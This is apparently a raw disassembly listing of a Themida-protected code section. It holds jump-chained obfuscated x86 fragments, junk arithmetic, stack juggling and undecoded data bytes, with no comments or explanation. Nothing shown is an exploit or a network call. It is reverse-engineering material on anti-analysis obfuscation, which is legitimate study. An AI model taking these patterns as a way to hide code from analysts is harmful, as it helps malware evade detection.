		push	edx
		jmp	loc_551472
; ---------------------------------------------------------------------------

loc_54F26E:				; CODE XREF: Themida_:0054F556j
		mov	edi, esp
		add	edi, 4
		jmp	loc_54E78F
; ---------------------------------------------------------------------------

loc_54F27B:				; CODE XREF: Themida_:0054AD09j
		mov	ecx, [ebx]
		pop	ebx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_552349
; ---------------------------------------------------------------------------

loc_54F28F:				; CODE XREF: Themida_:00554AA9j
		add	ecx, 0EC3F36h
		jmp	loc_553714
; ---------------------------------------------------------------------------

loc_54F29A:				; CODE XREF: Themida_:00548B62j
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_54FA5F
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 0FFCC2AE9h, 4EC83FFh, 24048F54h, 4240483h, 0E92434FFh
		dd 6B96h, 62E9E189h, 2DFFFFCEh,	0F5A8C4B9h, 0FFC7DEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F2D9:				; CODE XREF: Themida_:00553A24j
		push	eax
		push	184h
		mov	[esp], ebp
		push	4B134FB6h
		jmp	loc_554DB8
; ---------------------------------------------------------------------------

loc_54F2EC:				; CODE XREF: Themida_:00551FEDj
		pop	edx
		push	edi
		jmp	loc_550F10
; ---------------------------------------------------------------------------
		db 83h
		dd 148702C2h, 24248B24h, 9C2404FEh, 0FFABCAE9h,	7B32DFFh
		dd 0F8012DCBh, 0CB07B305h, 2055F2Dh, 33000000h,	2EE92404h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F31F:				; CODE XREF: Themida_:00555995j
		xchg	ebx, [esp]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------
		db 89h
		dd 14F7240Ch, 240C8B24h, 8104C483h, 71649AC9h, 4EBE5656h
		dd 314B3842h, 6B4CE9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F34A:				; CODE XREF: Themida_:00555604j
		add	edx, 1
		and	edx, 59832A61h
		jle	loc_54C13C
		jmp	loc_54F4EC
; ---------------------------------------------------------------------------

loc_54F361:				; CODE XREF: Themida_:00554A65j
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_54DCF3
		push	dword ptr [edi+28h]
		sub	esp, 4
		jmp	loc_54B241
; ---------------------------------------------------------------------------

loc_54F37D:				; CODE XREF: Themida_:005491E0j
					; Themida_:0055008Cj
		mov	dl, 43h
		mov	ch, dl
		pop	dx
		sub	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	al, 0
		jmp	loc_555F55
; ---------------------------------------------------------------------------
		db 31h
		dd 3C33243Ch, 24248B24h, 24048B66h, 81E28952h, 4C2h, 63DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F3AE:				; CODE XREF: Themida_:00552D9Bj
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_54D4D0
; ---------------------------------------------------------------------------

loc_54F3C7:				; CODE XREF: Themida_:0054CAB5j
		mov	[esp], ax
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54F3D0:				; CODE XREF: Themida_:0054FDADj
		mov	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		inc	ebp
		inc	ebp
		jmp	loc_54DE79
; ---------------------------------------------------------------------------
		db 0BEh
		dd 108211F4h, 25E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F3ED:				; CODE XREF: Themida_:0054DC25j
					; Themida_:00554015j
		add	ecx, 0EC3F36h
		jmp	loc_54B3B4
; ---------------------------------------------------------------------------

loc_54F3F8:				; CODE XREF: Themida_:0054963Aj
		xor	eax, 70274AFFh
		jmp	loc_54B8C4
; ---------------------------------------------------------------------------

loc_54F402:				; CODE XREF: Themida_:005539A6j
		push	eax
		mov	eax, 46582774h
		xor	eax, 3042663Bh
		jmp	loc_54C333
; ---------------------------------------------------------------------------
		dw 0E94Eh
		dd 0FFFF9796h
; ---------------------------------------------------------------------------

loc_54F418:				; CODE XREF: Themida_:0054BAFCj
		add	edi, 5C6271B9h
		sub	edi, ebx
		sub	edi, 5C6271B9h
		pop	ebx
		pop	esi
		push	ebp
		push	esi
		mov	esi, 2
		mov	ebp, esi
		pop	esi
		sub	edi, ebp
		mov	ebp, [esp]
		jmp	loc_548A12
; ---------------------------------------------------------------------------
		dd 4BD555Ah, 1000000h, 0E9565DEAh, 0FFFFCDD9h
; ---------------------------------------------------------------------------

loc_54F44C:				; CODE XREF: Themida_:0054F925j
		mov	ebx, 4
		jmp	loc_550618
; ---------------------------------------------------------------------------

loc_54F456:				; CODE XREF: Themida_:loc_553F87j
		add	ebx, 5E06F3BEh
		push	ebx
		add	dword ptr [esp], 288E09DAh
		pop	ebp
		jmp	loc_554524
; ---------------------------------------------------------------------------
aI4Z6bSc	db '┴4$╬',27h,'Z 6│фХc',0
		db 5Eh
		dd 2479830Fh, 0CE810000h, 538C4A9Ah, 1949E9h, 57535D00h
		dd 226BE9h, 8351AD00h, 2C8904ECh, 0AE43E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F49E:				; CODE XREF: Themida_:00549FDEj
		push	ebx
		mov	ebx, 0D4794314h
		add	edx, ebx
		pop	ebx
		jmp	loc_550FE8
; ---------------------------------------------------------------------------
		dd 0E95EF329h, 0FFFFD53Bh, 4CC56856h, 14890000h, 94BE924h
		dd 0E6890000h, 24E2E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F4C9:				; CODE XREF: Themida_:0054FA3Fj
		add	esp, 4
		jmp	loc_550689
; ---------------------------------------------------------------------------

loc_54F4D4:				; CODE XREF: Themida_:0055322Ej
		jz	loc_55495C
		inc	ebx
		jnp	loc_5495F2
		jmp	loc_5509F5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5650240Ch
; ---------------------------------------------------------------------------

loc_54F4EC:				; CODE XREF: Themida_:0054BAB2j
					; Themida_:0054F35Cj
		or	ecx, 6D966BBCh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 16142165h
		and	ecx, ebp
		pop	ebp
		shl	ecx, 2
		js	loc_549DD8
		xor	ecx, 185085B4h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, edi
		push	dword ptr [edx]
		jmp	loc_552988
; ---------------------------------------------------------------------------
		dd 5EF5015Ah, 0FFE26FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F529:				; CODE XREF: Themida_:0055476Fj
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_549489
; ---------------------------------------------------------------------------

loc_54F541:				; CODE XREF: Themida_:00554CEBj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_54C99E
; ---------------------------------------------------------------------------

loc_54F555:				; CODE XREF: Themida_:005517CBj
		push	edi
		jmp	loc_54F26E
; ---------------------------------------------------------------------------

loc_54F55B:				; CODE XREF: Themida_:00555D44j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		pop	ebp
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	6EFBh
		mov	[esp], ecx
		mov	ecx, 1
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54EE32
; ---------------------------------------------------------------------------

loc_54F585:				; CODE XREF: Themida_:0054E6ACj
		mov	dh, bh
		jmp	loc_54A25A
; ---------------------------------------------------------------------------
		dd 82E9DEF7h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F593:				; CODE XREF: Themida_:005542BDj
		mov	edi, 45784305h
		dec	edi
		not	edi
		jmp	loc_55123F
; ---------------------------------------------------------------------------

loc_54F5A0:				; CODE XREF: Themida_:00554418j
		pop	edx
		jmp	loc_54FC7A
; ---------------------------------------------------------------------------

loc_54F5A6:				; CODE XREF: Themida_:0055319Aj
		pop	edi
		add	esp, 4
		jmp	loc_552995
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4802BF24h, 0D7F7399Bh, 43A1E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F5C1:				; CODE XREF: Themida_:00552C3Fj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54C85E
; ---------------------------------------------------------------------------
		dd 74FF505Bh, 8F580424h, 248B2404h, 2C966824h, 14890000h
		dd 42685524h, 0E900005Eh, 1CB0h
; ---------------------------------------------------------------------------

loc_54F5FC:				; CODE XREF: Themida_:00549E20j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54B5E6
; ---------------------------------------------------------------------------

loc_54F607:				; CODE XREF: Themida_:0054AB1Ej
		mov	edi, 30h
		mov	ebx, edi
		push	dword ptr [esp]
		jmp	loc_555907
; ---------------------------------------------------------------------------

loc_54F616:				; CODE XREF: Themida_:00554572j
		mov	esi, 0
		sub	esi, ebx
		jmp	loc_54A732
; ---------------------------------------------------------------------------

loc_54F622:				; CODE XREF: Themida_:0054CA1Cj
		mov	esi, ebx
		pop	ebx
		dec	esi
		jmp	loc_54CFE9
; ---------------------------------------------------------------------------

loc_54F62B:				; CODE XREF: Themida_:0054C96Bj
		xor	ebx, 577C0F0Eh
		add	edi, ebx
		pop	ebx
		add	esi, edi
		pop	edi
		push	edx
		push	edi
		jmp	loc_554D27
; ---------------------------------------------------------------------------
		dw 8F5Ah
		dd 895C2404h, 0E589242Ch, 4C581h, 0C5830000h, 242C8704h
		dd 2404FF5Ch, 92CBE99Ch, 0DAF7FFFFh, 8107E2C1h,	359D58F2h
		dd 8BD001F8h, 0C4832414h, 0A989E904h, 8B66FFFFh, 0D1682404h
		dd 8900005Ch, 92682414h, 5400007Ah, 8324048Fh, 8B042404h
		dd 0EC812414h, 4, 0E9240C89h, 4804h
; ---------------------------------------------------------------------------

loc_54F6A0:				; CODE XREF: Themida_:00554EAFj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54F16B
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0C0830000h, 24048704h, 0E9E8015Ch, 0FFFFAF13h
; ---------------------------------------------------------------------------

loc_54F6C4:				; CODE XREF: Themida_:00549CCAj
		push	edx
		mov	edx, 6BAD2C57h
		shr	edx, 1
		neg	edx
		jmp	loc_54A18A
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFBE32E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F6D9:				; CODE XREF: Themida_:0055562Ej
		mov	edi, [esp]
		jmp	loc_54BC99
; ---------------------------------------------------------------------------

loc_54F6E1:				; CODE XREF: Themida_:005548E0j
		neg	edx
		and	edx, 3C845356h
		xor	edx, 480CB34h
		xor	ecx, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_552BA1
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 0E904EC83h, 3DB4h, 4EB81h, 0CFE90000h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F723:				; CODE XREF: Themida_:0054C569j
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	653Fh
		mov	[esp], ebx
		jmp	loc_55183E
; ---------------------------------------------------------------------------
		db 0E9h, 0E3h, 91h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F746:				; CODE XREF: Themida_:0054B1A4j
		add	ch, 0F3h
		sub	bl, 9Eh
		jmp	loc_5511E0
; ---------------------------------------------------------------------------

loc_54F751:				; CODE XREF: Themida_:0054E860j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5541DB
; ---------------------------------------------------------------------------

loc_54F765:				; CODE XREF: Themida_:00555418j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5516F2
; ---------------------------------------------------------------------------

loc_54F770:				; CODE XREF: Themida_:00550F8Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	dx, [esp]
		push	0EDDh
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 399E497Fh
		jmp	loc_54AF11
; ---------------------------------------------------------------------------

loc_54F78F:				; CODE XREF: Themida_:0054E772j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5550E7
; ---------------------------------------------------------------------------
		dd 137BE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F7A6:				; CODE XREF: Themida_:005511F2j
		mov	ch, 1Ah
		add	al, 9Bh
		sub	al, ch
		jmp	loc_54C46B
; ---------------------------------------------------------------------------

loc_54F7B1:				; CODE XREF: Themida_:0054892Aj
		xor	al, bl
		jmp	loc_551672
; ---------------------------------------------------------------------------

loc_54F7B8:				; CODE XREF: Themida_:0054CED1j
		push	ecx
		mov	esi, [esp]
		add	esp, 4
		pop	ecx
		or	[edi+1Ch], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54F7CE:				; CODE XREF: Themida_:00548AC8j
		dec	esi
		push	ebp
		mov	ebp, 48833EE9h
		jmp	loc_552B75
; ---------------------------------------------------------------------------

loc_54F7DA:				; CODE XREF: Themida_:0054EA2Ej
		sub	ecx, edi
		jmp	loc_54B3F0
; ---------------------------------------------------------------------------

loc_54F7E1:				; CODE XREF: Themida_:00548CE3j
		jnz	loc_549BE1
		shl	ecx, 8
		jp	loc_5529D4
		push	ebp
		pop	esi
		jmp	loc_552A37
; ---------------------------------------------------------------------------

loc_54F7F7:				; CODE XREF: Themida_:00549500j
		shr	eax, 6
		jmp	loc_5539A5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 5030E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F80A:				; CODE XREF: Themida_:0054F907j
		jmp	loc_554842
; ---------------------------------------------------------------------------

loc_54F80F:				; CODE XREF: Themida_:0054E88Aj
		pop	esp
		jmp	loc_554006
; ---------------------------------------------------------------------------
		db 29h,	0C8h, 59h
		dd 52240C8Bh, 0C281E289h, 4, 0FF9F6EE9h, 71CC68FFh, 0E90000h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F833:				; CODE XREF: Themida_:00551397j
		pop	eax
		jmp	loc_54E6E0
; ---------------------------------------------------------------------------

loc_54F839:				; CODE XREF: Themida_:00552231j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55525A
; ---------------------------------------------------------------------------
		dd 0E90FE980h, 45AAh
; ---------------------------------------------------------------------------

loc_54F84C:				; CODE XREF: Themida_:00555329j
		push	ecx
		mov	cl, 83h
		sub	esp, 4
		jmp	loc_552F7F
; ---------------------------------------------------------------------------

loc_54F85A:				; CODE XREF: Themida_:00554901j
		pop	ebp
		or	bx, cx
		pop	cx
		dec	bx
		xor	bx, 11B0h
		xor	ax, bx
		pop	ebx
		push	edi
		push	7EF5h
		mov	[esp], esi
		push	eax
		mov	ax, 4565h
		not	ax
		add	ax, 0A3FEh
		jmp	loc_54EE0A
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0
		dd 8149BF08h, 0DC3DD2C2h, 0FEF28109h, 893E8F74h, 0F7E95AD1h
		dd 43FFFFBDh, 2C77E381h, 830F03D5h, 0FFFFF059h,	0FF94BEE9h
		dd 8BC101FFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx

loc_54F8BA:				; CODE XREF: Themida_:00552512j
		mov	eax, [esp]
		jmp	loc_54CEF7
; ---------------------------------------------------------------------------

loc_54F8C2:				; CODE XREF: Themida_:0054F90Dj
		sub	ch, 0E3h
		mov	al, ch
		pop	ecx
		sub	bl, 84h
		sub	bl, al
		jmp	loc_551415
; ---------------------------------------------------------------------------

loc_54F8D2:				; CODE XREF: Themida_:00554BE8j
		push	ecx
		push	edx
		push	bx
		push	edx
		mov	dl, 71h
		shl	dl, 6
		jmp	loc_5553B1
; ---------------------------------------------------------------------------

loc_54F8E1:				; CODE XREF: Themida_:0054EAF0j
		xor	edx, 0D5A79AAAh
		sub	edi, edx
		jmp	loc_54A2B0
; ---------------------------------------------------------------------------
		dw 6850h
		dd 620140F1h, 0CB45E958h, 0FA88FFFFh, 0E9DAF65Bh, 236h
; ---------------------------------------------------------------------------

loc_54F904:				; CODE XREF: Themida_:0054AAA3j
		shl	ebp, 4
		jp	loc_54F80A
		jmp	loc_54F8C2
; ---------------------------------------------------------------------------
aS9		db '\И$9',0
		align 4
		dd 5259C829h
; ---------------------------------------------------------------------------

loc_54F91C:				; CODE XREF: Themida_:00554E27j
		pop	edi
		jmp	loc_54EDE7
; ---------------------------------------------------------------------------

loc_54F922:				; CODE XREF: Themida_:0054D0D8j
		pop	esi
		push	eax
		push	ebx
		jmp	loc_54F44C
; ---------------------------------------------------------------------------

loc_54F92A:				; CODE XREF: Themida_:0054AB83j
		add	ecx, 0FA6E6B19h
		mov	esi, ecx
		pop	ecx
		add	edx, esi
		jmp	loc_551AF8
; ---------------------------------------------------------------------------

loc_54F93A:				; CODE XREF: Themida_:00549464j
		jnz	loc_5547FC
		sub	ah, 57h
		mov	bl, ah
		pop	eax
		and	al, bl
		mov	bx, [esp]

loc_54F94C:				; CODE XREF: Themida_:0054BE44j
		mov	edi, [esp]
		jmp	loc_54BD55
; ---------------------------------------------------------------------------
		dd 4B8h, 8BC28900h, 0C4832404h,	24540104h, 4C2CE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F96A:				; CODE XREF: Themida_:0055045Dj
		xor	esi, ebx
		pop	ebx
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 499E2342h
		sub	esi, 79B15457h
		jo	loc_549181
		neg	esi
		jns	loc_55254B
		jmp	loc_54BF3B
; ---------------------------------------------------------------------------
		dd 42474FFh
		db 0FFh, 34h, 24h
; ---------------------------------------------------------------------------

loc_54F99B:				; CODE XREF: Themida_:0054D839j
		push	edx
		mov	dh, 0FCh
		add	dh, 0C0h
		mov	bh, dh
		mov	edx, [esp]
		add	esp, 4
		xor	al, bh
		jmp	loc_554E4D
; ---------------------------------------------------------------------------

loc_54F9B3:				; CODE XREF: Themida_:00550121j
					; Themida_:005555CAj
		add	esp, 4
		push	492Ch
		mov	[esp], ebx
		mov	ebx, 7CF0593Ah
		add	eax, 67805D96h
		sub	eax, ebx
		sub	eax, 67805D96h
		push	dword ptr [esp]
		pop	ebx
		push	42E0h
		jmp	loc_54EDEE
; ---------------------------------------------------------------------------

loc_54F9DD:				; CODE XREF: Themida_:0054ECA3j
		push	esp
		jmp	loc_5523B4
; ---------------------------------------------------------------------------

loc_54F9E3:				; CODE XREF: Themida_:0054D0B7j
		mov	[esp], esi
		jmp	loc_54911A
; ---------------------------------------------------------------------------
		db 83h
		dd 148704EAh, 0C895C24h, 0C8B5424h, 2494E924h, 3C330000h
		dd 243C3124h, 0FF9974E9h, 59CB01FFh, 0FFAA48E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FA11:				; CODE XREF: Themida_:00553F0Bj
		sub	edx, 6EA52FC8h
		pop	edi
		push	ebp
		mov	ebp, 7664DFCh
		add	ebp, 0FFFFFFFFh
		or	ebp, 1043B2Eh
		sub	ebp, 1
		push	ebx
		jmp	loc_554039
; ---------------------------------------------------------------------------

loc_54FA30:				; CODE XREF: Themida_:0054E900j
		add	cl, dh
		jmp	loc_54CDC1
; ---------------------------------------------------------------------------

loc_54FA37:				; CODE XREF: Themida_:0054D51Dj
		sub	bl, ch
		add	bl, 0F1h
		mov	ecx, [esp]
		jmp	loc_54F4C9
; ---------------------------------------------------------------------------

loc_54FA44:				; CODE XREF: Themida_:0054E389j
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5509A4
; ---------------------------------------------------------------------------

loc_54FA50:				; CODE XREF: Themida_:00550690j
		pop	eax
		sub	bl, dl
		pop	dx
		sub	bl, al
		add	bl, 3Ch
		jmp	loc_553565
; ---------------------------------------------------------------------------

loc_54FA5F:				; CODE XREF: Themida_:loc_54BD2Bj
					; Themida_:0054F2A9j
		push	468Ah
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_554103
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 0D4F78108h, 2934BE7Ah, 0C5295FF8h, 8124048Bh, 4C4h
		dd 66ED8100h, 6835FDFBh, 189Ah,	0B8240489h, 2386239Ch
		dd 8158C129h, 0E06E35E9h, 81E9017Fh, 0E06E35C1h, 9CC1817Fh
		dd 5D238623h, 0E9240C87h, 0FFFFCDD7h
; ---------------------------------------------------------------------------

loc_54FAB8:				; CODE XREF: Themida_:0054ECCCj
		and	ebp, 620E51ECh
		add	ebp, 0DFF1FED8h
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 19752C0Bh
		jmp	loc_5494E6
; ---------------------------------------------------------------------------
		dw 8F64h
		dd 8E37E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FAF2:				; CODE XREF: Themida_:0054FF44j
		push	ebx
		mov	ebx, 4AD91DD4h
		inc	ebx
		jnz	loc_552DA0
		shr	ebx, 5
		jns	loc_555712
		jl	loc_54DA85

loc_54FB0E:				; CODE XREF: Themida_:00550D8Fj
		jmp	loc_552D06
; ---------------------------------------------------------------------------

loc_54FB13:				; CODE XREF: Themida_:00552966j
		add	edx, 170E7ED0h
		pop	esi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------
		db 0E9h, 61h, 0A9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FB32:				; CODE XREF: Themida_:0054C776j
		push	esi
		mov	esi, esp
		jmp	loc_552AA1
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 0FB850F39h, 0E9000053h, 0FBEh, 8F04C483h, 0E5802404h
		dd 2BABE97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54FB56:				; CODE XREF: Themida_:0054C7C0j
		add	ebp, edi
		pop	edi
		add	ebp, 4
		push	ebp
		jmp	loc_550055
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 12FEE924h, 89530000h, 4C381E3h, 83000000h, 1C8704C3h
		dd 4295C24h, 0A6E99C24h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FB83:				; CODE XREF: Themida_:0054FDDAj
		mov	eax, [esp]
		jmp	loc_550FB4
; ---------------------------------------------------------------------------

loc_54FB8B:				; CODE XREF: Themida_:00554FA0j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	5F12h
		mov	[esp], ecx
		jmp	loc_5548A5
; ---------------------------------------------------------------------------

loc_54FBA8:				; CODE XREF: Themida_:00551074j
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 79642CEFh
		jmp	loc_5502CB
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 0EFA7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FBC6:				; CODE XREF: Themida_:0054C780j
		jmp	loc_553707
; ---------------------------------------------------------------------------

loc_54FBCB:				; CODE XREF: Themida_:0054A9DDj
		mov	[esp], cx
		push	edx
		push	ebx
		mov	bl, 12h
		neg	bl
		jg	loc_549397
		shr	bl, 6
		jmp	loc_54C56E
; ---------------------------------------------------------------------------
		db 0B9h
		dd 2, 0D577E951h, 0C89FFFFh, 4B924h, 0C7810000h, 66E41715h
		dd 0EF81CF01h, 66E41715h, 4C78359h, 5C243C87h, 81E28952h
		dd 4C2h, 4C28300h, 41B6E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54FC1E:				; CODE XREF: Themida_:0054C683j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5538E8
; ---------------------------------------------------------------------------

loc_54FC27:				; CODE XREF: Themida_:0054C810j
		sub	eax, 1CED1800h
		jmp	loc_54C552
; ---------------------------------------------------------------------------

loc_54FC31:				; CODE XREF: Themida_:0054F09Bj
		xor	ebp, 641101Fh
		jg	loc_54A232
		add	ebp, 6D646BC4h
		jbe	loc_553A29
		jmp	loc_54D0CF
; ---------------------------------------------------------------------------

loc_54FC4E:				; CODE XREF: Themida_:0054C466j
					; Themida_:loc_5528FBj
		inc	ebx
		neg	ebx
		or	ebx, 63193382h
		jmp	loc_54B7CD
; ---------------------------------------------------------------------------
		dd 0E5C1D5F7h, 0F8CD8104h, 0E9170E44h, 7C9h, 565AE95Ah
		dd 48B0000h, 0A59EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FC7A:				; CODE XREF: Themida_:0054F5A1j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_555944
; ---------------------------------------------------------------------------

loc_54FC88:				; CODE XREF: Themida_:00550B85j
		xor	ecx, ebp
		not	ebp
		push	ecx
		push	6C1Bh
		mov	[esp], ebp
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_54EB5F
; ---------------------------------------------------------------------------

loc_54FCA0:				; CODE XREF: Themida_:00554AD6j
		push	esi
		mov	esi, 72766B52h
		push	ecx
		mov	ecx, 763D08AAh
		add	esi, ecx
		pop	ecx
		push	edx
		jmp	loc_549243
; ---------------------------------------------------------------------------

loc_54FCB5:				; CODE XREF: Themida_:00554485j
		pop	esi
		push	ecx
		mov	ecx, 79691D56h
		push	ecx
		not	dword ptr [esp]
		jmp	loc_553533
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 5805E924h, 56E90000h, 86FFFF8Ch, 0E9D5F6EAh,	44B3h
; ---------------------------------------------------------------------------

loc_54FCDC:				; CODE XREF: Themida_:0054C553j
		xchg	eax, [esp]
		pop	esp
		push	2341h
		mov	[esp], edi
		mov	edi, 148C5308h
		sub	edi, 7FC478A2h
		neg	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 57900736h
		jmp	loc_54C950
; ---------------------------------------------------------------------------

loc_54FD05:				; CODE XREF: Themida_:00552976j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54A4A9
; ---------------------------------------------------------------------------
		dd 1A2181BFh, 0B967E913h, 5251FFFFh, 0D58892B2h, 8324148Bh
		dd 0CD8004C4h, 0B353661Ah, 66DD2048h, 0FEDDF65Bh, 78F580CDh
		dd 2859E800h, 0A1B353D8h, 37B25266h, 28AFEB80h,	0E95266D3h
		dd 19B8h
; ---------------------------------------------------------------------------

loc_54FD50:				; CODE XREF: Themida_:0054CBAEj
		add	edx, 54580E08h
		push	eax
		jmp	loc_54A98B
; ---------------------------------------------------------------------------
		dd 0F6AEE980h, 0B1C180D9h, 0F08E9C0h, 0FFDBF888h, 9287E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FD72:				; CODE XREF: Themida_:00549103j
		add	esp, 4
		add	ebx, 4
		jmp	loc_555EEA
; ---------------------------------------------------------------------------
		dd 8B240C33h, 31662424h, 0E99C2404h, 0FFFF8B99h
; ---------------------------------------------------------------------------

loc_54FD90:				; CODE XREF: Themida_:005531C2j
		shr	edi, 2
		inc	edi
		add	edi, 0EA7D3DC9h
		mov	edx, edi
		pop	edi
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		mov	edi, 500B072Ch
		jmp	loc_54F3D0
; ---------------------------------------------------------------------------

loc_54FDB2:				; CODE XREF: Themida_:0054ABC7j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54FDBD:				; CODE XREF: Themida_:0055382Cj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_551CAB
; ---------------------------------------------------------------------------

loc_54FDC6:				; CODE XREF: Themida_:0054D4C5j
		ja	loc_55416A
		xor	ebp, 227A3AFDh
		jmp	loc_54D07D
; ---------------------------------------------------------------------------

loc_54FDD7:				; CODE XREF: Themida_:0054BD50j
		pop	edi
		mov	esi, eax
		jmp	loc_54FB83
; ---------------------------------------------------------------------------
		db 0BDh
		dd 2ECB6235h, 6ABDE581h, 0E5D10260h, 8E5C14Dh, 6904F581h
		dd 0E90180C4h, 58EEE9h,	34875900h, 0C4815C24h, 4, 5C59E9h
		dd 31685100h, 8B27004Bh, 0C481240Ch, 4,	0FFAEFFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FE21:				; CODE XREF: Themida_:00554C0Ej
		and	ebx, 665408AFh
		or	ebx, 3D093ACEh
		add	ebx, 6D299B94h
		add	ebp, ebx
		pop	ebx
		add	eax, 58C60050h
		add	eax, ebp
		sub	eax, 58C60050h
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		jmp	loc_554FFC
; ---------------------------------------------------------------------------
		dd 24048B66h, 4DAF6857h, 8F540000h, 4832404h, 685F0424h
		dd 579Bh, 0B9240C89h, 4, 0C8E9CF01h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------

